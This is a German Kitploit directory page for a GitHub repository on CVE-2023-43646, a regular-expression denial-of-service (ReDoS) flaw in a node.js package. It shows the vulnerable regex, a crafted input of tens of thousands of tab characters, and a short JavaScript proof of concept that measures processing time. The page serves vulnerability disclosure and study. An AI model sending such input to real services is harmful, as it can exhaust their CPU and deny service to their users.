Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-43646 — redos | Kitploit
Tools/GitHubGitHub/200101whoami/cve-2023-43646
SchwachstellenscannerSchwachstellenanalyseCode-AnalysePapers & ForschungLernen & Bildung
GitHub200101whoami/cve-2023-43646

CVE-2023-43646

redos

Repository anzeigen
3vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-43646

Schwachstellenübersicht

  • CVE-2023-43646

  • CVSS : 8.6

  • Sep 26, 2023

  • ReDoS im node.js-Paket

  • Teil des rebob-Projekts

Schwachstellenbeschreibung

github advisories

root@kitploit:~
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/

Diese Schwachstelle kann ausgenutzt werden, wenn ein Ungleichgewicht in den Klammern vorliegt, was zu übermäßigem Backtracking führt und anschließend die CPU-Last und die Verarbeitungszeit erheblich erhöht. Diese Schwachstelle kann mit folgender Eingabe ausgelöst werden:

root@kitploit:~
'\t'.repeat(54773) + '\t/function/i'

Hier ist ein einfacher PoC-Code zur Demonstration des Problems:

root@kitploit:~
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;

const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'

protocolre.test(maliciousInput);

const endTime = Date.now();

console.log("process time: ", endTime - startTime, "ms");

Zielpaket

Tool herunterladen